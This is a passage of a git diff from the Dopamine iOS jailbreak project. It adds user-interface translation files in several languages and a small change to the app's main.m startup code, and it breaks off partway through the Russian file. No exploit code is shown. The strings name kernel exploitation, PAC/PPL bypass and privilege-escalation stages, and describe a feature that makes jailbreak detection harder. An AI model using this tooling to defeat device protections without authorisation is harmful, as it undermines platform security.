+"Continue" = "続ける"; + diff --git a/Application/Dopamine/kk.lproj/Localizable.strings b/Application/Dopamine/kk.lproj/Localizable.strings new file mode 100644 index 0000000000..47dc07dfc4 --- /dev/null +++ b/Application/Dopamine/kk.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "Жасағандар: opa334, évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Джейлбрейк жасау"; +"Log_Error" = "Сәтсіз"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Джейлбрейк"; +"Status_Title_Jailbroken" = "Джейлбрейк орындалды"; +/*Unsupported*/ + +// Action Menu +"Menu_Settings_Title" = "Реттеулер"; +"Menu_Restart_SpringBoard_Title" = "SpringBoard қайта іске қосу"; +"Menu_Reboot_Userspace_Title" = "Userspace қайта іске қосу"; +"Menu_Credits_Title" = "Алғыс"; + +// Updating +"Button_Update" = "Жаңарту"; +"Button_Update_Available" = "Жаңа жаңарту қол жетімді"; +"Button_Update_Environment" = "Update Environment"; + +// Update View +"Update_Status_Downloading" = "Жаңартуды жүктеу..."; +"Update_Status_Subtitle_Please_Wait" = "Файлдар жүктелгенше күтіңіз"; +"Update_Status_Installing" = "Жаңартуды орнату..."; +"Update_Status_Subtitle_Restart_Soon" = "Жақында құрылғы қайта іске қосылады"; +"Title_Changelog" = "Нұсқалар журналы"; +"Changelog_Unavailable_Text" = "Өзгерістер тізімі қол жетімді емес"; + +// Removed Jailbreak Alert +/*Removed_Jailbreak_Alert_Title*/ +/*Removed_Jailbreak_Alert_Message*/ +/*Button_Close*/ + +// Error View +/*Button_Share*/ +/*Button_Reboot*/ + +// Settings Toggles +"Settings_Tweak_Injection" = "Твиктерді енгізу"; +"Settings_iDownload" = "iDownload (Әзірлеуші ​​​​терминалы)"; +"Settings_Verbose_Logs" = "Кеңейтілген журналдар"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "Джейлбрейкті жою"; +"Button_Hide_Jailbreak" = "Джейлбрейкті жасыру"; +"Button_Unhide_Jailbreak" = "Джейлбрейкті жасырмау"; +/*Button_Refresh_Jailbreak_Apps*/ +"Button_Reinstall_Package_Managers" = "Reinstall Package Managers"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Джейлбрейкті жасыру\" келесі джейлбрейкке дейін джейлбрейкпен байланысты файлдарды уақытша жояды"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Hide Jailbreak\" partially disables the jailbreak and aims to make detection more challenging. However, it is not entirely effective and does not conceal everything."; +/*Section_Jailbreak_Settings*/ +/*Section_Actions*/ +/*Section_Customization*/ +/*Section_Exploits*/ + +// Settings Alerts +/*Alert_Tweak_Injection_Toggled_Title*/ +/*Alert_Tweak_Injection_Toggled_Body*/ +/*Alert_Tweak_Injection_Toggled_Reboot_Now*/ +/*Alert_Tweak_Injection_Toggled_Reboot_Later*/ +/*Alert_Remove_Jailbreak_Title*/ +/*Alert_Remove_Jailbreak_Pressed_Body*/ +/*Alert_Remove_Jailbreak_Enabled_Body*/ +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "Болдырмау"; +/*Button_Continue*/ + +// Duplicate Apps Errors +/*Duplicate_Apps_Error_Dopamine_App*/ +/*Duplicate_Apps_Error_User_App*/ +/*Duplicate_Apps_Error_Icon_Cache*/ + +// Settings Lists +/*Theme*/ +/*Kernel Exploit*/ +/*PPL Bypass*/ +/*PAC Bypass*/ +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Лицензия"; +"Credits_Button_Source_Code" = "Бастапқы код"; + +// Logs +"Initializing Environment" = "Ортаны инициализациялау"; +/*Initializing Protection*/ +/*Loading BaseBin TrustCache*/ +/*Applying Bind Mount*/ +/*Removing Jailbreak*/ +/*Elevating Privileges*/ +/*Cleaning Up Exploits*/ +/*Building Phys R/W Primitive*/ +/*Rebooting Userspace*/ +"Patchfinding" = "Патчтарды іздеу"; +/*Exploiting Kernel (%@)*/ +/*Bypassing PAC (%@)*/ +/*Bypassing PPL (%@)*/ + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Пакет менеджерін таңдаңыз"; +"Select_Package_Managers_Install_Message" = "If you are unsure which one to select, select Sileo"; +"Continue" = "Continue"; + diff --git a/Application/Dopamine/ko.lproj/Localizable.strings b/Application/Dopamine/ko.lproj/Localizable.strings new file mode 100644 index 0000000000..b71636263a --- /dev/null +++ b/Application/Dopamine/ko.lproj/Localizable.strings @@ -0,0 +1,116 @@ +"Credits_Made_By" = "by opa334, ElleKit by évelyne"; + +// Log +"Status_Title_Jailbreaking" = "탈옥 중"; +"Log_Error" = "오류"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "탈옥"; +"Status_Title_Jailbroken" = "탈옥되었습니다"; +"Unsupported" = "지원되지 않음"; + +// Action Menu +"Menu_Settings_Title" = "설정"; +"Menu_Restart_SpringBoard_Title" = "SpringBoard 재시작"; +"Menu_Reboot_Userspace_Title" = "Userspace 재시작"; +"Menu_Credits_Title" = "크레딧"; + +// Updating +"Button_Update" = "업데이트"; +"Button_Update_Available" = "업데이트 가능"; +"Button_Update_Environment" = "환경 업데이트"; + +// Update View +"Update_Status_Downloading" = "업데이트 다운로드 중..."; +"Update_Status_Subtitle_Please_Wait" = "파일 다운로드가 완료될 때까지 기다려 주십시오"; +"Update_Status_Installing" = "업데이트 설치 중..."; +"Update_Status_Subtitle_Restart_Soon" = "잠시 후 기기가 재시작됩니다"; +"Title_Changelog" = "변경 로그"; +"Changelog_Unavailable_Text" = "변경 로그 없음"; + +// Removed Jailbreak Alert +"Removed_Jailbreak_Alert_Title" = "탈옥이 제거되었습니다."; +"Removed_Jailbreak_Alert_Message" = "탈옥을 성공적으로 제거했습니다. 기기를 재시작하는 것이 권장됩니다."; +"Button_Close" = "닫기"; + +// Error View +"Button_Share" = "공유"; +"Button_Reboot" = "재시작"; + +// Settings Options +"Settings_Tweak_Injection" = "트윅 주입"; +"Settings_iDownload" = "iDownload (개발자 셸)"; +"Settings_Verbose_Logs" = "상세 로그"; +"Settings_Apps_JIT" = "앱에서 JIT 사용 허용"; +"Settings_Jetsam_Multiplier" = "Jetsam 메모리 한도 배수"; + +// Settings Buttons +"Button_Remove_Jailbreak" = "탈옥 제거"; +"Button_Hide_Jailbreak" = "탈옥 숨기기"; +"Button_Unhide_Jailbreak" = "탈옥 복원"; +"Button_Refresh_Jailbreak_Apps" = "탈옥 앱 새로고침"; +"Button_Reinstall_Package_Managers" = "패키지 매니저 재설치"; +"Button_Change_Mobile_Password" = "\"mobile\" 비밀번호 변경"; + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"탈옥 숨기기\"는 다음 탈옥까지 일시적으로 탈옥 관련 파일을 제거합니다."; +"Hint_Hide_Jailbreak_Jailbroken" = "\"탈옥 숨기기\"는 탈옥 기능을 부분적으로 비활성화하여 탐지를 더 어렵게 만듭니다. 하지만 완벽하게 우회되지 않으며, 모든 것을 숨길 수는 없습니다."; +"Section_Jailbreak_Settings" = "탈옥 설정"; +"Section_Actions" = "작업"; +"Section_Customization" = "커스텀"; +"Section_Exploits" = "익스플로잇"; +"Jetsam_Description" = "Jetsam은 메모리 사용량이 지정된 한도를 초과하는 프로세스를 자동으로 종료하는 시스템 기능입니다. 많은 트윅이 설치된 경우 이 한도가 시작 시에 초과되어 프로세스가 계속해서 충돌할 수 있습니다. 여기에서는 메모리 한도가 적용된 모든 프로세스의 메모리 한도를 배수로 늘릴 수 있습니다. 시스템이 충돌하거나 많은 트윅 설치로 이상한 동작이 발생하면 이 설정을 높이세요. 시스템 전체의 메모리 사용량에 부정적인 영향을 주지 않도록, 시스템이 안정적으로 작동하는 가장 낮은 옵션을 선택하는 것이 좋습니다."; + +// Settings Alerts +"Alert_Tweak_Injection_Toggled_Title" = "Userspace 재시작이 필요합니다."; +"Alert_Tweak_Injection_Toggled_Body" = "변경 사항을 적용하려면 Userspace를 재시작해야 합니다. 지금 재시작하시겠습니까?"; +"Alert_Tweak_Injection_Toggled_Reboot_Now" = "지금 재시작"; +"Alert_Tweak_Injection_Toggled_Reboot_Later" = "나중에"; +"Alert_Remove_Jailbreak_Title" = "탈옥 제거"; +"Alert_Remove_Jailbreak_Pressed_Body" = "탈옥을 제거하면 모든 탈옥 관련 파일이 삭제되지만, 일반 앱, 파일 및 데이터는 유지됩니다. 계속하시겠습니까? 이 작업은 되돌릴 수 없습니다."; +"Alert_Remove_Jailbreak_Enabled_Body" = "\"탈옥 제거\"를 활성화하면 다음 탈옥 시 모든 탈옥 관련 파일이 삭제되지만, 일반 앱, 파일 및 데이터는 유지됩니다. 계속하시겠습니까? 이 작업은 되돌릴 수 없습니다."; +"Alert_Change_Mobile_Password_Body" = "기기의 \"mobile\" 사용자 비밀번호를 설정하세요. 이 비밀번호는 sudo를 사용하여 루트 권한에 접근할 때 필요합니다. 루트 비밀번호를 설정하려면 터미널 앱에서 \"sudo passwd root\" 명령을 실행하세요."; +"Password_Placeholder" = "비밀번호"; +"Repeat_Password_Placeholder" = "비밀번호 확인"; +"Password_Auth_Required" = "\"mobile\"비밀번호를 변경하려면 인증이 필요합니다."; +"Button_Change" = "변경"; +"Button_Cancel" = "취소"; +"Button_Continue" = "계속"; + +// Duplicate Apps Errors +"Duplicate_Apps_Error_Dopamine_App" = "Dopamine 앱 디렉터리(\"%@\")에 동일한 식별자(\"%@\")를 가진 앱이 여러 개 있습니다. 진행할 수 없습니다."; +"Duplicate_Apps_Error_User_App" = "Dopamine 앱 디렉터리(\"%@\")에 식별자 \"%@\"를 가진 앱이 있지만, 시스템에 동일한 앱이 별도로 설치되어 있습니다. 진행할 수 없습니다."; +"Duplicate_Apps_Error_Icon_Cache" = "Dopamine 앱 디렉터리(\"%@\")에 식별자 \"%@\"를 가진 앱이 있지만, 아이콘 캐시에 다른 경로(\"%@\")로 등록되어 있습니다. 진행할 수 없습니다."; + +// Settings Lists +"Theme" = "테마"; +"Kernel Exploit" = "커널 익스플로잇"; +"PPL Bypass" = "PPL 우회"; +"PAC Bypass" = "PAC 우회"; +"None" = "없음"; +"Recommended" = "권장됨"; + +// Credits +"Credits_Button_Discord" = "디스코드"; +"Credits_Button_License" = "라이선스"; +"Credits_Button_Source_Code" = "소스 코드"; + +// Logs +"Initializing Environment" = "환경 초기화 중"; +"Initializing Protection" = "보호 초기화 중"; +"Loading BaseBin TrustCache" = "베이스 바이너리 신뢰 캐시 로드 중"; +"Applying Bind Mount" = "바인드 마운트 적용 중"; +"Removing Jailbreak" = "탈옥 제거 중"; +"Elevating Privileges" = "권한 상승 중"; +"Cleaning Up Exploits" = "익스플로잇 정리 중"; +"Building Phys R/W Primitive" = "물리적 읽기/쓰기 기능 설정 중"; +"Rebooting Userspace" = "Userspace 재시작 중"; +"Patchfinding" = "패치 찾는 중"; +"Exploiting Kernel (%@)" = "커널 익스플로잇(%@) 실행 중"; +"Bypassing PAC (%@)" = "PAC 우회 중 (%@)"; +"Bypassing PPL (%@)" = "PPL 우회 중 (%@)"; + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "패키지 매니저 선택"; +"Select_Package_Managers_Install_Message" = "어떤 것을 선택할지 모르겠다면 Sileo를 선택하세요."; +"Continue" = "계속"; diff --git a/Application/Dopamine/main.m b/Application/Dopamine/main.m index 6e7cbecd9b..6c8760551c 100644 --- a/Application/Dopamine/main.m +++ b/Application/Dopamine/main.m @@ -6,13 +6,47 @@ // #import -#import "AppDelegate.h" +#import "DOAppDelegate.h" + +#import "DOEnvironmentManager.h" +#import +#import int main(int argc, char * argv[]) { + if (argc >= 3) { + if (!strcmp(argv[1], "trollstore")) { + if (!strcmp(argv[2], "delete-bootstrap")) { + [[DOEnvironmentManager sharedManager] deleteBootstrap]; + } + else if (!strcmp(argv[2], "hide-jailbreak")) { + [[DOEnvironmentManager sharedManager] setJailbreakHidden:YES]; + } + return 0; + } + } + + if (argc >= 2) { + // Legacy, called by Dopamine 1.x before initiating a jbupdate + // As updating from 1.x to 2.x is unsupported, just initiate a device reboot + if (!strcmp(argv[1], "prepare_jbupdate")) { + [[DOEnvironmentManager sharedManager] reboot]; + return 0; + } + } + + // If systemhook isn't loaded and we are already jailbroken, we need to do the checkin ourselves + // This can happen when the jailbreak is hidden or when tweak injection into the Dopamine app is disabled via Choicy + jbclient_process_checkin(NULL, NULL, NULL, NULL); + + if ([DOEnvironmentManager sharedManager].isJailbroken) { + setenv("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/var/jb/sbin:/var/jb/bin:/var/jb/usr/sbin:/var/jb/usr/bin", 1); + setenv("TERM", "xterm-256color", 1); + } + NSString * appDelegateClassName; @autoreleasepool { // Setup code that might create autoreleased objects goes here. - appDelegateClassName = NSStringFromClass([AppDelegate class]); + appDelegateClassName = NSStringFromClass([DOAppDelegate class]); } return UIApplicationMain(argc, argv, nil, appDelegateClassName); } diff --git a/Application/Dopamine/nl.lproj/Localizable.strings b/Application/Dopamine/nl.lproj/Localizable.strings new file mode 100644 index 0000000000..52fafae514 --- /dev/null +++ b/Application/Dopamine/nl.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "Gemaakt door opa334, évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Aan het jailbreaken"; +"Log_Error" = "Mislukt"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Jailbreak"; +"Status_Title_Jailbroken" = "Jailbreak klaar"; +/*Unsupported*/ + +// Action Menu +"Menu_Settings_Title" = "Instellingen"; +"Menu_Restart_SpringBoard_Title" = "SpringBoard herstarten"; +"Menu_Reboot_Userspace_Title" = "Userspace herstarten"; +"Menu_Credits_Title" = "Credits"; + +// Updating +"Button_Update" = "Update"; +"Button_Update_Available" = "Update beschikbaar"; +"Button_Update_Environment" = "Update Environment"; + +// Update View +"Update_Status_Downloading" = "Update aan het downloaden..."; +"Update_Status_Subtitle_Please_Wait" = "Een ogenblik geduld tot de bestanden zijn gedownload"; +"Update_Status_Installing" = "Update aan het installeren..."; +"Update_Status_Subtitle_Restart_Soon" = "Het apparaat zal binnenkort worden herstart"; +"Title_Changelog" = "Changelog"; +"Changelog_Unavailable_Text" = "Changelog niet beschikbaar"; + +// Removed Jailbreak Alert +/*Removed_Jailbreak_Alert_Title*/ +/*Removed_Jailbreak_Alert_Message*/ +/*Button_Close*/ + +// Error View +/*Button_Share*/ +/*Button_Reboot*/ + +// Settings Toggles +"Settings_Tweak_Injection" = "Tweak Injection"; +"Settings_iDownload" = "iDownload (Ontwikkelaar Terminal)"; +"Settings_Verbose_Logs" = "Uitgebreide logs"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "Jailbreak verwijderen"; +"Button_Hide_Jailbreak" = "Jailbreak verbergen"; +"Button_Unhide_Jailbreak" = "Jailbreak tonen"; +/*Button_Refresh_Jailbreak_Apps*/ +"Button_Reinstall_Package_Managers" = "Reinstall Package Managers"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Jailbreak verbergen\" verwijderd jailbreak-gerelateerde bestanden tot de volgende jailbreak"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Hide Jailbreak\" partially disables the jailbreak and aims to make detection more challenging. However, it is not entirely effective and does not conceal everything."; +/*Section_Jailbreak_Settings*/ +/*Section_Actions*/ +/*Section_Customization*/ +/*Section_Exploits*/ + +// Settings Alerts +/*Alert_Tweak_Injection_Toggled_Title*/ +"Alert_Tweak_Injection_Toggled_Body" = "Een userspace reboot is nodig om de veranderingen toe te passen. Wil je het nu doen?"; +/*Alert_Tweak_Injection_Toggled_Reboot_Now*/ +/*Alert_Tweak_Injection_Toggled_Reboot_Later*/ +"Alert_Remove_Jailbreak_Title" = "Jailbreak verwijderen"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Het verwijderen van jailbreak zal alle jailbreak-gerelateerde bestanden verwijderen, maar alle reguliere apps, bestanden en gegevens blijven behouden. Weet u zeker dat u wilt doorgaan? U kunt deze actie niet ongedaan maken."; +/*Alert_Remove_Jailbreak_Enabled_Body*/ +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "Annuleren"; +/*Button_Continue*/ + +// Duplicate Apps Errors +/*Duplicate_Apps_Error_Dopamine_App*/ +/*Duplicate_Apps_Error_User_App*/ +/*Duplicate_Apps_Error_Icon_Cache*/ + +// Settings Lists +/*Theme*/ +/*Kernel Exploit*/ +/*PPL Bypass*/ +/*PAC Bypass*/ +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Licentie"; +"Credits_Button_Source_Code" = "Broncode"; + +// Logs +"Initializing Environment" = "Omgeving aan het initialiseren"; +/*Initializing Protection*/ +/*Loading BaseBin TrustCache*/ +/*Applying Bind Mount*/ +/*Removing Jailbreak*/ +/*Elevating Privileges*/ +/*Cleaning Up Exploits*/ +/*Building Phys R/W Primitive*/ +/*Rebooting Userspace*/ +"Patchfinding" = "Patchfinding"; +/*Exploiting Kernel (%@)*/ +/*Bypassing PAC (%@)*/ +/*Bypassing PPL (%@)*/ + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Selecteer Package Manager(s)"; +"Select_Package_Managers_Install_Message" = "Als u niet zeker weet welke u moet selecteren, selecteer dan Sileo"; +"Continue" = "Doorgaan"; + diff --git a/Application/Dopamine/pl.lproj/Localizable.strings b/Application/Dopamine/pl.lproj/Localizable.strings new file mode 100644 index 0000000000..f5b8cc8437 --- /dev/null +++ b/Application/Dopamine/pl.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "Stworzone przez: opa334, évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Jailbreakowanie"; +"Log_Error" = "Niepowodzenie"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Jailbreakuj"; +"Status_Title_Jailbroken" = "Jailbreak aktywny"; +"Unsupported" = "Niewspierane"; + +// Action Menu +"Menu_Settings_Title" = "Ustawienia"; +"Menu_Restart_SpringBoard_Title" = "Restartuj SpringBoard"; +"Menu_Reboot_Userspace_Title" = "Restartuj Userspace"; +"Menu_Credits_Title" = "Podziękowania"; + +// Updating +"Button_Update" = "Aktualizuj"; +"Button_Update_Available" = "Dostępna aktualizacja"; +"Button_Update_Environment" = "Update Environment"; + +// Update View +"Update_Status_Downloading" = "Pobieranie aktualizacji..."; +"Update_Status_Subtitle_Please_Wait" = "Proszę czekać, aż pliki skończą się pobierać"; +"Update_Status_Installing" = "Instalowanie aktualizacji..."; +"Update_Status_Subtitle_Restart_Soon" = "Urządzenie wkrótce uruchomi się ponownie"; +"Title_Changelog" = "Dziennik zmian"; +"Changelog_Unavailable_Text" = "Dziennik zmian niedostępny"; + +// Removed Jailbreak Alert +/*Removed_Jailbreak_Alert_Title*/ +/*Removed_Jailbreak_Alert_Message*/ +/*Button_Close*/ + +// Error View +/*Button_Share*/ +/*Button_Reboot*/ + +// Settings Toggles +"Settings_Tweak_Injection" = "Wstrzykiwanie tweaków"; +"Settings_iDownload" = "iDownload (terminal dla deweloperów)"; +"Settings_Verbose_Logs" = "Logi verbose"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "Usuń jailbreak"; +"Button_Hide_Jailbreak" = "Ukryj jailbreak"; +"Button_Unhide_Jailbreak" = "Odkryj jailbreak"; +/*Button_Refresh_Jailbreak_Apps*/ +"Button_Reinstall_Package_Managers" = "Przeinstaluj menedżery pakietów"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Ukryj jailbreak\" tymczasowo usuwa wszystkie pliki związane z jailbreakiem (aż do następnego jailbreakowania)"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Ukryj jailbreak\" częściowo wyłącza jailbreak i próbuje utrudnić jego wykrycie. Nie jest to jednak w pełni skuteczne i nie ukrywa wszystkiego."; +/*Section_Jailbreak_Settings*/ +/*Section_Actions*/ +/*Section_Customization*/ +/*Section_Exploits*/ + +// Settings Alerts +/*Alert_Tweak_Injection_Toggled_Title*/ +"Alert_Tweak_Injection_Toggled_Body" = "Aby zmiany zostały zastosowane, musisz zrestartować Userspace. Czy chcesz zrestartować urządzenie?"; +/*Alert_Tweak_Injection_Toggled_Reboot_Now*/ +/*Alert_Tweak_Injection_Toggled_Reboot_Later*/ +"Alert_Remove_Jailbreak_Title" = "Usuń jailbreak"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Usunięcie jailbreak spowoduje usunięcie wszystkich plików związanych z jailbreakiem, ale wszystkie zwykłe aplikacje, pliki i dane zostaną zachowane. Jesteś pewien, że chcesz kontynuować? Tej czynności nie można cofnąć."; +/*Alert_Remove_Jailbreak_Enabled_Body*/ +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "Anuluj"; +/*Button_Continue*/ + +// Duplicate Apps Errors +/*Duplicate_Apps_Error_Dopamine_App*/ +/*Duplicate_Apps_Error_User_App*/ +/*Duplicate_Apps_Error_Icon_Cache*/ + +// Settings Lists +/*Theme*/ +/*Kernel Exploit*/ +/*PPL Bypass*/ +/*PAC Bypass*/ +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Licencja"; +"Credits_Button_Source_Code" = "Kod źródłowy"; + +// Logs +"Initializing Environment" = "Inicjowanie Środowiska"; +/*Initializing Protection*/ +/*Loading BaseBin TrustCache*/ +/*Applying Bind Mount*/ +/*Removing Jailbreak*/ +/*Elevating Privileges*/ +/*Cleaning Up Exploits*/ +/*Building Phys R/W Primitive*/ +/*Rebooting Userspace*/ +"Patchfinding" = "Patchfinding"; +/*Exploiting Kernel (%@)*/ +/*Bypassing PAC (%@)*/ +/*Bypassing PPL (%@)*/ + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Wybierz menedżer(y) pakietów"; +"Select_Package_Managers_Install_Message" = "Jeżeli nie jesteś pewien który wybrać, wybierz Sileo"; +"Continue" = "Kontynuuj"; + diff --git a/Application/Dopamine/pt-BR.lproj/Localizable.strings b/Application/Dopamine/pt-BR.lproj/Localizable.strings new file mode 100644 index 0000000000..27beba9504 --- /dev/null +++ b/Application/Dopamine/pt-BR.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "Desenvolvido por opa334, évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Executando o Jailbreak"; +"Log_Error" = "Sem sucesso"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Jailbreak"; +"Status_Title_Jailbroken" = "Jailbreak concluído!"; +/*Unsupported*/ + +// Action Menu +"Menu_Settings_Title" = "Configurações"; +"Menu_Restart_SpringBoard_Title" = "Reiniciar SpringBoard"; +"Menu_Reboot_Userspace_Title" = "Reiniciar 'Userspace'"; +"Menu_Credits_Title" = "Créditos"; + +// Updating +"Button_Update" = "Atualizar"; +"Button_Update_Available" = "Atualização disponível"; +"Button_Update_Environment" = "Atualizar o 'Ambiente' do Jailbreak"; + +// Update View +"Update_Status_Downloading" = "Baixando atualização..."; +"Update_Status_Subtitle_Please_Wait" = "Aguarde o download todos os arquivos"; +"Update_Status_Installing" = "Instalando atualização..."; +"Update_Status_Subtitle_Restart_Soon" = "O dispostivo reiniciará em breve"; +"Title_Changelog" = "Histórico de mudanças"; +"Changelog_Unavailable_Text" = "Histórico de mudanças indisponível"; + +// Removed Jailbreak Alert +/*Removed_Jailbreak_Alert_Title*/ +/*Removed_Jailbreak_Alert_Message*/ +/*Button_Close*/ + +// Error View +/*Button_Share*/ +/*Button_Reboot*/ + +// Settings Toggles +"Settings_Tweak_Injection" = "Injeção de Tweaks"; +"Settings_iDownload" = "iDownload (Terminal de desenvolvedor)"; +"Settings_Verbose_Logs" = "Logs do Verbose"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "Remover o Jailbreak"; +"Button_Hide_Jailbreak" = "Ocultar o Jailbreak"; +"Button_Unhide_Jailbreak" = "Deixar de ocultar o Jailbreak"; +/*Button_Refresh_Jailbreak_Apps*/ +"Button_Reinstall_Package_Managers" = "Reinstalar Gerenciadores de Pacotes"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Ocultar o Jailbreak\" remove temporariamente os arquivos do Jailbreak até a próxima execução"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Ocultar o Jailbreak\" desabilita parcialmente o Jailbreak e tenta deixá-lo mais difícil de ser detectado. Entretando, não é completamente efetivo."; +/*Section_Jailbreak_Settings*/ +/*Section_Actions*/ +/*Section_Customization*/ +/*Section_Exploits*/ + +// Settings Alerts +/*Alert_Tweak_Injection_Toggled_Title*/ +"Alert_Tweak_Injection_Toggled_Body" = "Para que as mudanças sejam aplicadas, é necessário reiniciar o 'Userspace'. Reiniciar agora?"; +/*Alert_Tweak_Injection_Toggled_Reboot_Now*/ +/*Alert_Tweak_Injection_Toggled_Reboot_Later*/ +"Alert_Remove_Jailbreak_Title" = "Remover o Jailbreak"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Remover o Jailbreak irá deletar todos arquivos do Jailbreak, porém todos aplicativos, arquivos e informações se manterão. Você tem certeza que deseja continuar? Não será possível reverter isso."; +/*Alert_Remove_Jailbreak_Enabled_Body*/ +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "Cancelar"; +/*Button_Continue*/ + +// Duplicate Apps Errors +/*Duplicate_Apps_Error_Dopamine_App*/ +/*Duplicate_Apps_Error_User_App*/ +/*Duplicate_Apps_Error_Icon_Cache*/ + +// Settings Lists +/*Theme*/ +/*Kernel Exploit*/ +/*PPL Bypass*/ +/*PAC Bypass*/ +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Licenças"; +"Credits_Button_Source_Code" = "Código-Fonte"; + +// Logs +"Initializing Environment" = "Iniciando o Ambiente do Jailbreak"; +/*Initializing Protection*/ +/*Loading BaseBin TrustCache*/ +/*Applying Bind Mount*/ +/*Removing Jailbreak*/ +/*Elevating Privileges*/ +/*Cleaning Up Exploits*/ +/*Building Phys R/W Primitive*/ +/*Rebooting Userspace*/ +"Patchfinding" = "Patchfinding"; +/*Exploiting Kernel (%@)*/ +/*Bypassing PAC (%@)*/ +/*Bypassing PPL (%@)*/ + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Escolha o(s) Gerenciador(es) de Pacotes"; +"Select_Package_Managers_Install_Message" = "Se estiver em dúvida, selecione o Sileo"; +"Continue" = "Continuar"; + diff --git a/Application/Dopamine/ru.lproj/Localizable.strings b/Application/Dopamine/ru.lproj/Localizable.strings new file mode 100644 index 0000000000..2585b77e82 --- /dev/null +++ b/Application/Dopamine/ru.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "Сделано opa334, évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Выполнение джейлбрейка"; +"Log_Error" = "Неудачно"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Джейлбрейк"; +"Status_Title_Jailbroken" = "Джейлбрейк выполнен"; +"Unsupported" = "Не поддерживается"; + +// Action Menu +"Menu_Settings_Title" = "Настройки"; +"Menu_Restart_SpringBoard_Title" = "Перезапустить SpringBoard"; +"Menu_Reboot_Userspace_Title" = "Перезагрузить Userspace"; +"Menu_Credits_Title" = "Благодарности"; + +// Updating +"Button_Update" = "Обновить"; +"Button_Update_Available" = "Доступно обновление"; +"Button_Update_Environment" = "Обновить переменную среду"; + +// Update View +"Update_Status_Downloading" = "Загрузка обновления..."; +"Update_Status_Subtitle_Please_Wait" = "Пожалуйста подождите, пока файлы будут загружены"; +"Update_Status_Installing" = "Установка обновления..."; +"Update_Status_Subtitle_Restart_Soon" = "Устройство скоро перезагрузится"; +"Title_Changelog" = "Список изменений"; +"Changelog_Unavailable_Text" = "Список изменений недоступен"; + +// Removed Jailbreak Alert +"Removed_Jailbreak_Alert_Title" = "Джейлбрейк удалён"; +"Removed_Jailbreak_Alert_Message" = "Джейлбрейк успешно удален. Рекомендуется перезагрузить устройство."; +"Button_Close" = "Закрыть"; + +// Error View +"Button_Share" = "Поделиться"; +"Button_Reboot" = "Перезагрузить"; + +// Settings Toggles +"Settings_Tweak_Injection" = "Внедрение твиков"; +"Settings_iDownload" = "iDownload (Терминал разработчика)"; +"Settings_Verbose_Logs" = "Расширенные логи"; +"Settings_Apps_JIT" = "Разрешить JIT в приложениях"; + +// Settings Buttons +"Button_Remove_Jailbreak" = "Удалить джейлбрейк"; +"Button_Hide_Jailbreak" = "Скрыть джейлбрейк"; +"Button_Unhide_Jailbreak" = "Отобразить джейлбрейк"; +"Button_Refresh_Jailbreak_Apps" = "Обновить приложения джейлбрейка"; +"Button_Reinstall_Package_Managers" = "Переустановить менеджеры пакетов"; +"Button_Change_Mobile_Password" = "Изменить пароль для \"mobile\""; + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Скрыть джейлбрейк\" временно удаляет файлы, связанные с джейлбрейком, до следующего джейлбрейка"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Скрыть джейлбрейк\" частично отключает джейлбрейк и 